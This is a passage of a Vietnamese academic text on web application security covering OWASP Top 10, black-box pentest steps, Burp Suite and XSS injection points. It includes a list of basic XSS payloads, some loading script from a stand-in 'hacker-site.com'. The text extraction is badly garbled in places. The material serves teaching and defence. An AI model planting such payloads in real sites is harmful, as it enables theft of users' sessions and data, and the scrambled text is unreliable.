định có sẵn L p này có thể bao gớ ồm các quy định về an ninh (Security), các quy trình
xử lý (Rules), các khâu tính toán (Calculation) và dữ liệu nghi p vệ ụ (BLL Data) Lớp truy nh p dậ ữ liệu g m các giao di n l p trình cho dồ ệ ậ ữ liệu (Data API) và các th t c lủ ụ ưu
trữ (Stored Procedures) có trách nhi m truy v n và x lý dệ ấ ử ữ ệu t kho dli ừ ữ ệu (Data) li[1]
Hình 1.9 Ki n trúc lô gic 3 l p c a ng d ng web ế ớ ủ ứ ụ
Trang 21Hình 1.10 Các d ng ki n trúc ng d ng web ạ ế ứ ụHình 1.10 bi u di n các d ng ki n trúc cể ễ ạ ế ủa ứng dụng web trong tương quan phân công chức năng giữa máy khách (Client) và máy ch (Server) bên trái, máy khách ủ Ở
“béo” (Rich Fat) đảm nhiệm nhiều chức năng, ví dụ gồm lớp trình diễn và lớp lô gic nghiệp vụ, trong khi đó máy chủ đảm nhi m ít chệ ức năng, ví dụ chỉ g m lồ ớp truy nhập
dữ liệu Ng c lượ ại ở bên ph i, máy khách ả ” ầy” (Thin) đảg m nhiệm ít chức năng, ví dụchỉ gồm l p trình diễn, trong khi đó máy chủ m nhiệm nhiều chớ đả ức năng, ví dụ ồm glớp lô gic nghi p v và l p truy nh p d ệ ụ ớ ậ ữ liệu Vi c l a ch n ki n trúc phù h p cho t ng ệ ự ọ ế ợ ừứng dụng web c thểụ phụ thu c vào b n ch t củộ ả ấ a từng nghiệp v c thể ụ ụ
1.2 Nguyên t c b o mắ ả ật ứng dụ ng web 1.2.1 Nguyên t c chung ắ
Nguyên t c b o mắ ả ật ứng d ng web tuân theo nguyên t c chung c a b o m t an ụ ắ ủ ả ậtoàn hệ thống thông tin là phòng v nhi u l p theo chi u sâu (Defense in depth) Hình ệ ề ớ ề1.11 bi u di n 3 l p b o mể ễ ớ ả ật ứng d ng web: L p b o mụ ớ ả ật m ng (Network), L p b o mạ ớ ả ật máy ch (Host) và L p b o mủ ớ ả ật ứng dụng (Application) Trong đó, lớp b o m t m ng ả ậ ạthực hi n b o vệ ả ệ ở vòng ngoài, l p b o m t máy chớ ả ậ ủ thực hi n b o v n n t ng và lệ ả ệ ề ả ớp bảo mật ứng dụng th c hi n b o v dự ệ ả ệ ữ liệu thông qua kiểm soát quyền truy nh p ậ
Trang 22Hình 1.11 Các l p b o mớ ả ật ứ ng d ng web ụ
1.2.2 Các l ớp b ảo mật ứ ng dụng web
L p b o m t mớ ả ậ ạng đảm b o cung c p h t ng m ng an toàn cho giao ti p giả ấ ạ ầ ạ ế ữa máy chủ và máy khách Theo đó, các thiế ị ạt b m ng cần được cài đặt và c u hình theo ấchuẩn, đảm b o an toàn Các thi t b m ng thả ế ị ạ ường được s d ng trong l p b o m t m ng ử ụ ớ ả ậ ạbao gồm:
- Switch: b chuy n mộ ể ạch
- Router: bộ định tuy n ế
- Firewall: t ng l a ườ ử
- IPS/IDS: hệ thống ngăn chặn/phát hiện đột nh p ậ
Trang 23Hình 1.12 L p b o mớ ả ật máy chủ
L p b o m t máy ch (Host) có nhi m vớ ả ậ ủ ệ ụ đảm b o an toàn cho các thành phả ần nền t ng trong h ả ệ thống, nh minh h a trên Hình 1.12 C ư ọ ụ thể, l p b o m t máy ch bao ớ ả ậ ủgồm:
- Xác thực, trao quyền cho ng i dùng ườ
Trang 241.3 Các nguy cơ và lỗ hổng bảo mật trong ứng dụng web
1.3.1 Gi i thi u ớ ệ
Hình 1.13 Top 10 l h ng b o mỗ ổ ả ật ứ ng d ng web theo OWASP (2017 và 2021) ụCác l h ng b o m t trong các ỗ ổ ả ậ ứng web là các điểm yếu cho phép tin tặc tấn công đánh cắp dữ liệu người dùng, dữ liệu hệ thống, kiểm soát ứng dụng web, hoặc thậm chí kiểm soát c hả ệ thống máy chủ chạy ứng d ng web OWASP (Open Web Application ụSecurity Project - http://www.owasp.org) là m t d án cộ ự ộng đồng m hoở ạt động v i mớ ục đích tăng cường an toàn cho các ứng dụng web Hình 1.13 liệt lê danh sách top 10 lỗ hổng b o m t nghiêm trả ậ ọng nh t trong các ng dấ ứ ụng web năm 2017 và 2021
Danh sách OWASP Top 10 – 2017:
Trang 25- A9 Using Components with Known Vulnerabilities
- A10 Insufficient Logging and Monitoring
Danh sách OWASP Top 10 – 2021:
- A6 Vulnerable and Outdated Components
- A7 Identification and Authentication Failures
- A8 Software and Data Integrity Failures (mới)
- A9 Security Logging and Monitoring Failures
- A10 Server-Side Request Forgery (mới)1.3.2 10 nguy cơ và lỗ hổng bảo mật hàng đầu theo OWASP
1.3.2.1 OWASP Top 10 2017 –
A1 Injection (Chèn mã)
Hình 1.14 T n công khai thác l h ng chèn mã SQL ấ ỗ ổChèn mã là d ng l h ng b o m t cho phép tin t c chèn mã vào dạ ỗ ổ ả ậ ặ ữ liệu gửi đến
và được thực hiện trên hệ thống nạn nhân Trong nhiều năm, chèn mã luôn được đánh giá là d ng l h ng b o m t nghiêm tr ng nh t, b khai thác ph bi n nh t và các hạ ỗ ổ ả ậ ọ ấ ị ổ ế ấ ậu
Trang 26quả c a khai thác lủ ỗi chèn mã cũng thường n ng n nh t Các d ng lặ ề ấ ạ ỗ h ng chèn mã ổthường gặp bao gồm: Buffer overflow (Tràn bộ đệm), SQL injection (chèn mã SQL), XPath/XQuery injection (chèn mã XPath/XQuery), LDAP lookups / injection (ch n mã ẽLDAP) và Shell command injection (chèn các l nh shell) Hình 1.14 minh h a t n công ệ ọ ấkhai thác l h ng ỗ ổ chèn mã SQL, trong đó kẻ ấ t n công (Attacker) chèn mã SQL vào d ữ
liệu, gửi đến máy ch web và cuủ ối cùng đƣợc th c hi n trên máy chự ệ ủ cơ sở ữ ệu để d lixóa b ng d u ả ữ liệ
A2 Broken Authentication (Xác th ực y ếu)
Khâu xác th c (authentication) và trao quyự ền (authorisation) được s d ng khá ử ụphổ bi n trong các ng d ng web N u các khâu xác th c và trao quyế ứ ụ ế ự ền không đủ ạnh mthì đó là lỗ hổng để ẻ tấn công truy nh k ập đánh cắp thông tin
A3 Sensitive Data Exposure (Rò r d u nh ỉ ữ liệ ạy cảm)
Nhiều ng d ng web và API không b o vứ ụ ả ệ đúng cách dữ liệu nh y c m, ch ng ạ ả ẳhạn như tài chính, chăm sóc sức khỏe và PII Những kẻ tấn công có thể đánh cắp hoặc sửa đổi d ữ liệu được b o v yả ệ ếu kém như vậy để thực hi n hành vi gian l n th tín d ng, ệ ậ ẻ ụđánh cắp danh tính hoặc các tội phạm khác Dữ liệu nhạy cảm có thể bị xâm phạm nếu không có bi n pháp b o v b sung, ch ng hệ ả ệ ổ ẳ ạn như mã hóa ở chế ngh hođộ ỉ ặc khi đang chuyển và c n có các bi n pháp phòng ngầ ệ ừa đặc biệt khi trao đổ ới trình duy i v ệt
A4 XML External Entities (Các th ực thể bên ngoài XML)
Nhiều b x ộ ử lý XML cũ hơn hoặc được định c u hình kém sấ ẽ đánh giá các tham chiếu th c th bên ngoài trong các tài li u XML Các th c th bên ngoài có th ự ể ệ ự ể ể đượ ửc s dụng để tiết lộ các tệp nội bộ b ng cách s d ng trình xằ ử ụ ử lý URI tệp, chia s t p nẻ ệ ội bộ, quét c ng nổ ội bộ, th c thi mã t xa và t n công t ự ừ ấ ừ chối dịch v ụ
A5 Broken Access Control (Ki m soát truy c p y u) ể ậ ếĐịnh c u hình sai b o m t là vấ ả ậ ấn đề thường thấy nhất Đây thường là kết qu cả ủa cấu hình mặc định không an toàn, c u hình không hoàn ch nh hoấ ỉ ặc đặc biệt, lưu trữ đám mây mở, tiêu đề HTTP được định c u hình sai và thông báo l i dài dòng ch a thông tin ấ ỗ ứnhạy c m T t c các hả ấ ả ệ điều hành, khuôn khổ, thư viện và ng d ng không ch phứ ụ ỉ ải được đ nh cấu hình an toàn mà còn phải đư c vá / nâng cấp k p th i ị ợ ị ờ
Trang 27A6 Security Misconfiguration (L ỗi cấu hình an ninh)
L i c u hình an ninh là d ng l h ng thi t l p quy n truy nh p vào các trang ỗ ấ ạ ỗ ổ ế ậ ề ậkhông đúng chuẩn, cho phép kẻ tấn công có thể truy nhập trái phép vào các trang, các thư mục, hoặc tải và thực hiện các file mã độc trên hệ thống Các lỗi thuộc dạng này có thể gồm:
- L i quy n truy nh p files ỗ ề ậ
- Lỗi thực hiện các trang
- Lỗi liệt kê các files trong thư mục
- L i cho phép t i lên và thỗ ả ực hiện các file mã chương trình
A7 Cross -Site Scripting (XSS) (L i XSS) ỗXSS là d ng t n công vào trình duy t ng i dùng K t n công chèn mã script ạ ấ ệ ườ ẻ ấ(thường là mã javascript) vào các trang web có l i XSS Khi ng i dùng m các trang ỗ ườ ởnày thì mã script c a k tủ ẻ ấn công được th c hiự ện, giúp đánh cắp các thông tin l u trong ưtrình duy t ng i dùng Hình 1.15 minh h a quá trình t n công khai thác l i XSS trên ệ ườ ọ ấ ỗtrang web
Hình 1.15 Minh h a t n công khai thác l i XSS ọ ấ ỗ
Trang 28A8 Insecure Deserialization (Gi ải tu n t hóa không an toàn) ầ ựGiải tu n t hóa ầ ự không an toàn thường dẫn đến th c thi mã t xa Ngay c khi lự ừ ả ỗi giải mã không dẫn đến vi c th c thi mã t xa, chúng có thệ ự ừ ể được s dử ụng để thực hiện các cu c t n công, bao g m c t n công phát l i, t n công tiêm và t n công leo thang ộ ấ ồ ả ấ ạ ấ ấđặc quyền
A9 Using Components with Known Vulnerabilities (Sử ụ d ng nh ng l hữ ỗ ổng đã
A10 Insufficient Logging and Monitoring (Ghi nhật ký giám sát không đầy đủ)
Ghi nhật ký và giám sát không đầy đủ, cùng v i vi c tích h p thi u ho c không ớ ệ ợ ế ặhiệu qu vả ới ph n ng s c , cho phép k t n công t n công hả ứ ự ố ẻ ấ ấ ệ thống hơn nữa, duy trì
sự b n bề ỉ, xoay tr c sang nhi u hụ ề ệ thống hơn và giả m o, trích xu t ho c phá h y d ạ ấ ặ ủ ữliệu H u hầ ết các nghiên cứu v vi phề ạm đều cho th y thấ ời gian để phát hi n vi ph m là ệ ạhơn 200 ngày, thường được phát hiện bởi các bên bên ngoài hơn là các quy trình hoặc giám sát nội bộ
1.3.2.2 OWASP Top 10 2021 –A1 Broken Authentication (Tương tự A5 2017) A2 Cryptographic Failures (Tương tự A3 2017) A3 Injection (Tương tự A1 2017)
A4 Insecure Design (Thi t k không an toàn): ế ế các rủi ro liên quan đến sai sót thiết
kế
A5 Security Misconfiguration (Tương tự A6 2017) A6 Vulnerable and Outdated Components (Tương tự A9 2017) A7 Identification and Authentication Failures (Tương tự A2 2017)
Trang 29A8 Software and Data Integrity Failures (Lỗ ềi v ph n m m và tính toàn v n c a ầ ề ẹ ủ
d ữ liệu)
Đưa ra các giả định liên quan đến các b n c p nh t ph n m m, d ả ậ ậ ầ ề ữ liệu quan trọng
và quy trình CI/CD mà không c n xác minh tính toàn v n Insecure Deserialization t ầ ẹ ừnăm 2017 hiện là một phần của danh mục lớn hơn này
A9 Security Logging and Monitoring Failures (Tương tự A10 2017)
A10 Server-Side Request Forgery (Giả ạ m o yêu c u phía máy ch ) ầ ủ
D u cho th y t l ữ liệ ấ ỷ ệ xuất hiện tương đối th p v i ph m vi th nghi m trên trung ấ ớ ạ ử ệbình, cùng với xếp h ng trên trung bình cho kh ạ ả năng “khai thác” và “tác động” [3]
1.4 Các ph ương pháp tiếp cậ n b o mả ật ứ ng d ng web ụ
1.4.1 Ki ểm tra dữ liệu đầ u vào
Kiểm tra d ữ liệu đầu vào là m t ph n vi c b t bu c th c hi n v i m i lo i d ộ ầ ệ ắ ộ ự ệ ớ ọ ạ ữ liệu cung c p t ngấ ừ ười dùng, đặc bi t vệ ới các d u t m ng, ho c các ngu n không tin c y ữ liệ ừ ạ ặ ồ ậ
Có thể nói, đây là một trong các phương pháp tiếp c n b o m t hi u qu nh t cho các ậ ả ậ ệ ả ấ
ứng dụng web V i ng dụng web, việc kiểm tra d ớ ứ ữliệu đầu vào cần được th c hiện cả ựtrên máy khách và máy ch Vi c ch ki m tra dủ ệ ỉ ể ữ liệu đầu vào trên máy khách (nh s ư ửdụng JavaSript) không thể đảm b o ch c ch n các dả ắ ắ ữ liệu là h p lợ ệ khi được x lý trên ửmáy ch do k t n công có th s d ng các kủ ẻ ấ ể ử ụ ỹ thu t vô hi u hóa b c ki m tra trên máy ậ ệ ướ ểkhách nh t t JavaSript, ho c t t o ra các form nh p li u riêng Các khâu c n th c hiư ắ ặ ự ạ ậ ệ ầ ự ện trong ki m tra dể ữ liệu đầu vào, bao g m: ki m tra kích thồ ể ước, định d ng và trong mạ ột
số trường h p ki m tra c n i dung và s hợ ể ả ộ ự ợp lý c a d u Có th s dủ ữ liệ ể ử ụng các b lộ ọc
dữ liệu để ọc b các d l ỏ ữ liệu sai, dữ liệu ch a mã t n công, ho c lứ ấ ặ ọc chỉ chấp nh n d ậ ữliệu đúng Nhìn chung, nên sử dụng các bộ lọc của các hãng, hoặc các tổ chức lớn, như
bộ lọc XSS c a d án OWASP, hoủ ự ặc Microsoft, do các bộ lọc này đã được ki m th k ể ử ỹ
và được cộng đồng đánh giá có hiệu quả trong một thời gian dài
1.4.2 Gi m thi u các giao di n có th b t n công ả ể ệ ể ị ấGiảm thi u các giao di n có th b t n công là mể ệ ể ị ấ ột phương pháp tiếp c n b o mậ ả ật hiệu qu khác cho các ng dả ứ ụng web Nguyên tắc chung là sử ụ d ng các biện pháp kiểm soát truy nhập để h n ch ạ ế đến t i thi u vi c ng i dùng truy nh p tr c ti p các ố ể ệ ườ ậ ự ế ứng d ng, ụdịch v và hụ ệ thống, n u không th c s c n thi t Ch ng h n, v i các website, ngế ự ự ầ ế ẳ ạ ớ ười dùng Internet chỉ được c p quyấ ền để truy nh p các trang web và b c m truy nh p trậ ị ấ ậ ực
tiếp vào hệ ống cơ sở dữ ệu c a website M i ng i dùng, ho c nhóm ng i dùng th li ủ ỗ ườ ặ ườ
Trang 30chỉ được cấp các quy n truy nhề ập “vừa đủ” để họ có thể thực hiện nhi m v ệ ụ được giao Ngoài ra, có th s d ng h p lý các k thuể ử ụ ợ ỹ ật mã để ả b o m t các dậ ữ liệu nh y cạ ảm cũng như d ữ liệu truy n gi a máy ch và máy khách, nh s d ng giao th c HTTPS thay cho ề ữ ủ ư ử ụ ứHTTP
1.4.3 Phòng v theo chiệ ều sâu
Phòng v nhi u l p theo chi u sâu (Defense in depth) là phệ ề ớ ề ương pháp tiếp c n ậbảo mật hiệu qu cho ng dả ứ ụng web nói riêng và các h ệ thông thông tin nói chung, như
đã đề cập ở mục 1.2 Theo đó, các lớp b o m t thả ậ ường đượ ử ục s d ng cho ng d ng web ứ ụbao g m: l p b o m t m ng, l p b o m t máy ch và l p b o mồ ớ ả ậ ạ ớ ả ậ ủ ớ ả ật ứng d ng M i lụ ỗ ớp bảo mật có tính năng tác dụng riêng và hỗ trợ cho nhau trong vấn đề đảm b o an toàn ảtối đa cho ứng d ng web ụ
1.5 Các phương pháp Penstest và đặc điểm
1.5.1 Gi i thiớ ệu về các phương pháp Pentest
Có ba phương pháp tiến hành đánh giá an toàn ứng dụng web: Black box, White box và Gray box [5]
Black box: Chuyên viên đánh giá kiểm tra mức độ bảo mật mà không có bất cứ thông tin nào v c u trúc cề ấ ủa ứng d ng, các thành ph n bên trong c a nó Chuyên ụ ầ ủviên đánh giá đóng vai trò như một hacker Nhân viên qu n tr có th giám sát h ả ị ể ệthống trong quá trình kiểm tra nhưng không được thay đổi thông tin c u hình nấ ếu không th a thuỏ ận trước với người kiểm tra S có mẽ ột bản báo cáo cho quá trình kiểm tra sau khi hoàn tất các khuyến cáo
White box: Có đầy đủ kiến thức, thông tin bên trong ứng dụng White box bao gồm quá trình rà soát mã ngu n ng dồ ứ ụng để tìm lỗi
Graybox: Chuyên viên đánh giá kiểm tra v i mớ ột lượng thông tin được cung c p ấ1.5.2 Đặc điểm của phương pháp Pentest Black box
Tính s n sàng cao: Vẵ ới phương pháp này, chuyên viên không nhất thiết phải chờ
có mã ngu n thì m i có th kiồ ớ ể ểm tra được ứng d ng, có th ki m tra b t cụ ể ể ấ ứ ứng dụng nào
Tái s d ng cao: Kh ử ụ ả năng sự ụ d ng là vi c kiệ ểm tra đố ới ứi v ng dụng Đơn giản,
dễ thực hiện: Không đòi hỏi quy trình phứ ạp c t
Trang 31 Tính bao phú h n chạ ế: Đây là một trong nh ng h n ch l n nh t c a Black box ữ ạ ế ớ ấ ủtesting Bạn c n ph i xây d ng nhi u tình hu ng ki m tra cho ng d ng và phầ ả ự ề ố ể ứ ụ ải quét hết các trường hợp đầu vào mà ng d ng s d ng [2] ứ ụ ử ụ
1.5.3 Các bước tiến hành Pentest black box
1.5.3.1 Thu th p thông tin ng d ng ậ ứ ụ
Kiểm tra các subdomain của trang web và các port tồ ạ ủn t i c a m c tiêu ụ
Các công c s d ng: dig.exe (kiụ ử ụ ểm tra các zone transfer), nmap (kiểm tra port), site online (http://www.robtex.com/),
Kiểm tra ngôn ng lữ ập trình và các framework được sử ụ d ng trên mục tiêu
Kiểm tra hệ điều hành và môi trường c a m c tiêu ủ ụ
Kiểm tra các file ch a trong ng d ng ứ ứ ụ
Kiểm tra s khác biự ệt của các HTTP method
1.5.3.2 Xây d ng cự ấu trúc site, thư mục
C n duy t t t cầ ệ ấ ả các chức năng của ứng d ng thông qua intercept proxy Có th ụ ể
sử d ng công cụ ụ spider để phát hi n nhệ ững đường d n, chẫ ức năng còn bỏ sót K t thúc ếbước này cần xây dựng cấu trúc cây thư mục của ứng dụng
Cây bao gồm các file, thư mục, các request/response ph c v cho viụ ụ ệc tìm điểm vào của ứng d ng Công c s d ng: Target tool, Proxy tool, Spider tool ụ ụ ử ụ
1.5.3.3 Xác định các điểm vào của ứng dụng
Tiến hành phân tích sitemap, các request thu được ở bước trên, xác định t t c ấ ảcác điểm vào của ứng d ng Quá trình thụ ực hiện:
Quan sát l i sitemap, ti n hành nh n di n các chạ ế ậ ệ ức năng cốt lõi mà ứng d ng tụ ạo
ra và hành động c a mủ ỗi chức năng được thiết kế
Nhận diện được các cơ chết bảo mật cốt lõi và cách làm vi c c a chúng Hiệ ủ ểu cơ chế x lý ch ng th c, quử ứ ự ản lý phiên, điều khiển truy c p và các chậ ức năng hỗ trợ như đăng ký, khôi phục mật khẩu Ví dụ: kiểm tra xem đăng nhập có sử dụng phương pháp: token hay username/password, có sử dụng capcha không, quản lý phiên như thế nào, giá trị session được sinh ra như thế nào, có cung cấp chứng
Trang 32năng đăng ký hay quên mật khẩu không, cơ chế đăng ký và khôi phục như thếnào,…
Nhận di n t t c ệ ấ ả các điểm nh p li u khác nhau mà ậ ệ người dùng gửi đế ứng dụng n
để xử lý như: các URL chứ chuỗi truy vấn, các tham số gửi qua URL, các tham
số trong body c a POST request, cookie, các header mà ng d ng có th xủ ứ ụ ể ử lý (User-Agent, Referer, Accept,…),…
Phân tích các HTTP request ở trên để đảm bảo thu th p hậ ết các điểm vào của ứng dụng Công c s dụ ử ụng: Burp suite Intruder để fuzzing resource Intruder tool sử dụng nhằm tự động hoá việc gửi các request theo quy tắc do chuyên viên kiểm tra đặt ra Việc sử dụng Intruder tool sẽ giúp tăng tốc độ kiểm tra bảo mật.1.5.3.4 Xác định kh ả năng tấn công
Ti n hành phân tích tế ừng điểm vào ng dứ ụng, xác định điểm vào đó có thể ắc mlỗi gì Mục đích là xác định kh ả năng tấn công ứng d ng Ánh x gi a c u trúc bên trong ụ ạ ữ ấ
và chức năng của ứng dụng ở phía server Ví d m t chụ ộ ức năng nhận thông tin đặt hàng của khách hàng thì ch c chắ ắn sẽ tương tác với database
Bước này yêu c u: ầ
Hiểu được những chức năng chính được triển khai như thế nào? sử dụng cơ chếbảo mật như thế nào ?
Xác định tất cả chức năng chi tiết của ứng dụng và ánh xạ những chức năng này sang nh ng l h ng b o mữ ỗ ổ ả ật có thể mắc V i mớ ỗi điểm vào ứng dụng thu được ởtrên, nhận di n các l i thông dệ ỗ ụng thường xu t hi n chúng [2] ấ ệ ở
1.5.4 Công c Pentest Black box Burp ụ suite
1.5.4.1 T ng quan ổBurpsuite là phần mềm được thi t kế ế để xác định và khai thác các l h ng b o ỗ ổ ảmật bằng cách tích h p nhi u công c h ợ ề ụ ỗ trợ khác nhau để đạt đư c mợ ục tiêu xâm nhập
và ki m tra web ểĐây là trình quét bảo mật phổ biến và được sử dụng rộng rãi đóng gói với các tính năng mạnh mẽ và các tiện ích mở rộng tùy chọn để kiểm tra tính bảo mật của các
ứng dụng web và ng dụứ ng web c a bạn Các thành phủ ần khác nhau cũng có sẵn trên
Trang 33web Burpsuite được sử dụng rộng rãi vì sở hữu các tính năng nổi bật như Decoder, Proxy Server, Repeater, Comparer, Web Spider
1.5.4.2 Cơ chế hoạt động c a Burp Suite ủXem xét quá trình làm vi c cệ ủa Burp Suite và sau đó kiểm tra hoạt động bằng cách phân tích d u g i và các kh ữ liệ ử ả năng xảy ra K t qu c a quá trình th nghiế ả ủ ử ệm có thể t n t i các phép th sai vì r ng không có công c t ồ ạ ử ằ ụ ự động nào là hoàn h o Ngoài ra, ảBurp Suite cũng có thể được sử dụng để phát hiện các lỗ hổng SQL và XSS
Cơ chế hoạt động
Burpsuite cho phép người dùng kết h p các k thuợ ỹ ật kiểm thử thủ công và t ựđộng một cách hiệu quả thông qua việc cho phép người kiểm thử kiểm soát hoàn toàn tất cả các hành động mà Burpsuite thực hiện, đồng thời cung cấp thông tin và phân tích chi ti t v ế ề các ứng dụng đang kiểm thử Sơ đồ dưới đây là tổng quan c p cao v các phấ ề ần chính trong quy trình kiểm tra thâm nhập c a Burpsuite [4]: ủ
Hình 1.16 Quy trình th ực hiệ n ki m th v i burp suite ể ử ớ
Trang 34CHƯƠNG 2 CÁC DẠNG T ẤN CÔNG THƯỜNG G P LÊN Ặ ỨNG D ỤNG WEB
Chương 2 đề ập đế c n các d ạng tấn công phổ biến lên ứng dụng web, bao gồm
t ấn công chèn mã HTML và XSS, t n công gi m o yêu c u liên mi n (CSRF), t n công ấ ả ạ ầ ề ấ
chèn mã SQL, t ấn công vào các cơ chế xác th c và t n công khai thác các khi m khuyự ấ ế ết
trong thi t k ế ế ứ ng dụng web Ngoài ra, chương cũng trình bày về ấ t n công vào trình duy ệt web và s ự riêng tư của ngườ i dùng Ph ần cu i c ố ủa chương mô tả ộ ố trườ m t s ng
h ợp th ực tế ề v các l ỗ hổng và tấn công ng dứ ụng web
2.1 Chèn mã HTML và cross-site scripting 2.1.1 Khái quát
2.1.1.1 Gi i thi u ớ ệ
T n công Cross-Site Scriting (XSS Mã script liên site, liên mi n) là m t trong ấ – ề ộcác d ng t n công ph bi n nh t vào các ạ ấ ổ ế ấ ứng d ng web XSS xu t hi n t khi trình duyụ ấ ệ ừ ệt bắt đầu hỗ trợ ngôn ngữ JavaScript (ban đầu được gọi là LiveScript – trên trình duyệt Netscape) Mã tấn công XSS được nhúng trong trang web chạy trong lòng trình duyệt với quy n truy nh p c a ng i dùng, có th truy nh p các thông tin nhề ậ ủ ườ ể ậ ạy cảm c a ng i ủ ườ
sử dụng l u trong trình duy t Do mã XSS ch y trong lòng trình duy t nên nó miư ệ ạ ệ ễn nhiễm với các trình quét các ph n mầ ềm độc hại và các công cụ ả b o v hệ ệ thống [1] XSS có thể được xem là m t d ng c a chèn mã HTML (HTML Injection) Trên ộ ạ ủthực t , có th ế ể thực hi n t n công b ng chèn mã HTML mà không c n mã JavaScript và ệ ấ ằ ầcũng không cần liên site, hoặc liên miền Kẻ tấn công khai thác các lỗ hổng bảo mật đểchèn mã XSS vào trang web, trong đó dữ liệu web (như tên và địa chỉ email) và mã (cú pháp và các ph n t nh <script>) cầ ử ư ủa XSS được trộ ẫn l n vào mã gốc c a trang ủ web
T n công XSS th ng xu t hi n khi trang web cho phép ng i dùng nh p d ấ ườ ấ ệ ườ ậ ữ liệu
và sau đó hiển th d u lên trang K t n công có th khéo léo chèn mã script vào trang ị ữ liệ ẻ ấ ể
và mã script c a k tủ ẻ ấn công được thực hi n khi ngệ ười dùng khác thăm lại trang web đó Tùy theo mục đích và mức độ tinh vi, XSS có th cho phép k t n công th c hi n các ể ẻ ấ ự ệthao tác sau trên hệ thống n n nhân: ạ
- Đánh cắp thông tin nh y c m c a ng i dùng l u trong Cookie c a trình duy ạ ả ủ ườ ư ủ ệt
- Giả ạ m o hộp đối thoại đăng nhập để đánh cắp mật khẩu
- B t phím gõ t ngắ ừ ười dùng để đánh cắp thông tin v tài kho n ngân hàng, email, ề ả
và thông tin đăng nhập các dịch vụ trả tiền,
- S d ng trình duyử ụ ệt để quét các c ng d ch v trong m ng LAN ổ ị ụ ạ
Trang 35- Lén lút cấu hình lại bộ định tuy n nế ội bộ để ỏ b qua t ng lườ ửa của m ng nạ ội bộ
- T ng thêm ng i dùng ng u nhiên vào tài kho n m ng xã h ự độ ườ ẫ ả ạ ội
- T o môi tr ng cho t n công CSRF ạ ườ ấ
2.1.1.2 Các v trí có th ị ể chèn mã
Nhìn chung, mã t n công HTML/XSS có thấ ể được chèn vào m i vọ ị trí trong địa chỉ (URI) và n i dung trang web Các vị trí cụ thể ộ có thể chèn mã:
- Các thành ph n c a URI (URI Components) ầ ủ
- Các tr ng nh p li u (Form Fields) ườ ậ ệ
- HTTP Request Header & Cookie
- JavaScript Object Notation (JSON)
- Các thuộc tính c a DOM (Document Object Model) ủ
- CSS (Cascade Style Sheet)
- Các n i dung do ngộ ười dùng tạo ra
Phần ti p theo là các ví d mã t n công XSS có thế ụ ấ ể được chèn vào các v trí k ị ểtrên
Chèn mã vào các thành ph n c a URI ầ ủNhìn chung, h u nh m i thành ph n cầ ư ọ ầ ủa URI đều có th ể được xử lý để chèn mã Trong đó, các thành phần trong liên kết được hiển thị lại trong trang có nhiều nguy cơ
bị khai thác hơn cả Ví dụ mã XSS (nằm trong cặp <script>…</script>) có thể được chèn vào thông báo lỗi:
Hoặc liên kết được mã hóa dưới đây:
Được trình duyệt chuy n thành khi thể ực hiện:
Chèn mã vào các trường nhập liệu
Mã HTML/script cũng có thể chèn vào hầu hết các trường nhập liệu trong các HTML form Ví d , v i form HTML (vi t b ng ASP) nụ ớ ế ằ ạp trước dữ liệu mà người dùng
đã nhập từ trước:
<input type="text" name="Search" value="<%=TheData%>">
Trang 36Biến TheData có th ể được nhập d u (phữ liệ ần in đậm) để chuy n tr ng <input> thành: ể ườ
<input type="text" name="Search" value="web hack"><script>alert('XSS is here')
</script>">
Chèn mã vào HTTP Request Header & Cookie
Trình duy t th ng g p HTTP Header trong yêu c u gệ ườ ộ ầ ửi đến máy ch web Trong ủ
đó, hai thành phần User-Agent (thông tin bản thân trình duyệt) và Referer (trang tham chiếu) thường được s dử ụng để chèn mã Ngoài ra, Cookie là m t thành ph n c a header ộ ầ ủcũng có thể được xử lý để chèn mã
Chèn mã vào JavaScript Object Notation
JSON là m t phộ ương pháp biểu di n các ki u dễ ể ữ liệu c a JavaScript thành mủ ột chuỗi an toàn cho truy n thông Nhi u ng d ng ề ề ứ ụ web sử ụng JSON để d nh n các thông ậđiệp hoặc các danh sách liên hệ Mã XSS có thể đƣợc chèn vào chuỗi JSON như trong
ví d ụ sau:
Chèn mã vào các thu c tính c a DOM ộ ủ
Mã XSS cũng có thể được chèn vào các thu c tính c a mô hình DOM c a trang ộ ủ ủweb Ví d , trong thông báo l i truy nhụ ỗ ập địa ch URL s dỉ ử ụng đoạn mã JavaScript sau:
N u ng i dùng nh p URL sau: ế ườ ậ
Thì kết qu là: ả
Chèn mã vào CSS CSS là mẫu định dạng đƣợc s d ng ph biử ụ ổ ến trong các trang web Do CSS cũng
hỗ trợ mã HTML/JavaScript nên cũng có thể chèn mã XSS Mã XSS có thể chèn vào phần url() trong ví d sau: ụ
#header login div.logged_in { width:178px;
height:53px;
background:url(/images/login_bg.gif) no-repeat top; font-size:8pt;
margin:0;
Trang 37padding:5px 10px;
}
Chèn mã vào các nội dung do người dùng t o ra ạCác n i dung do ng i dùng t o ra, bao g m các hình nh, video clip, các file tài ộ ườ ạ ồ ảliệu cũng có khả năng chứa mã HTML/script Như vậy, chúng cũng có nguy cơ bị tổn thương bởi tấn công XSS M t s ví d v chèn mã vào các th HTML: ộ ố ụ ề ẻ
- Thẻ <SCRIPT>: <SCRIPT SRC="http://hacker-site.com/xss.js"> </SCRIPT>
<SCRIPT> alert("XSS"); </SCRIPT>
- Thẻ <BODY>: <BODY ONLOAD="alert('XSS')">
<BODY BACKGROUND="javascript:alert('XSS')">
- Thẻ <IMG>: <IMG SRC="javascript:alert('XSS');">
- Thẻ <IFRAME>: <IFRAME SRC= "http://hacker-site.com/xss.html">
- Thẻ <INPUT>: <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
- Thẻ <LINK>: <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
- Thẻ <TABLE>, <TD>: <TABLE BACKGROUND="javascript:alert('XSS')">
<TD BACKGROUND="javascript:alert('XSS')">
- Thẻ <DIV>: <DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
Trang 38các m ng xã h i, các ng d ng nh n tin cho phép g i tin nh n qua các trang web K ạ ộ ứ ụ ắ ử ắ ẻtấn công khéo léo nhúng mã script vào các đoạn văn bản, hình ảnh, sử dụng các thẻ HTML Hình 2.1 miêu t các bả ước điển hình được th c hi n trong t n công Stored XSS ự ệ ấthực hi n b i tin t c (Hacker) nhệ ở ặ ằm đánh cắp dữ liệu l u trong phiên (Session) làm viư ệc của người dùng (User) [1]
Hình 2.1 Các bước trong tấn công Stored XSS
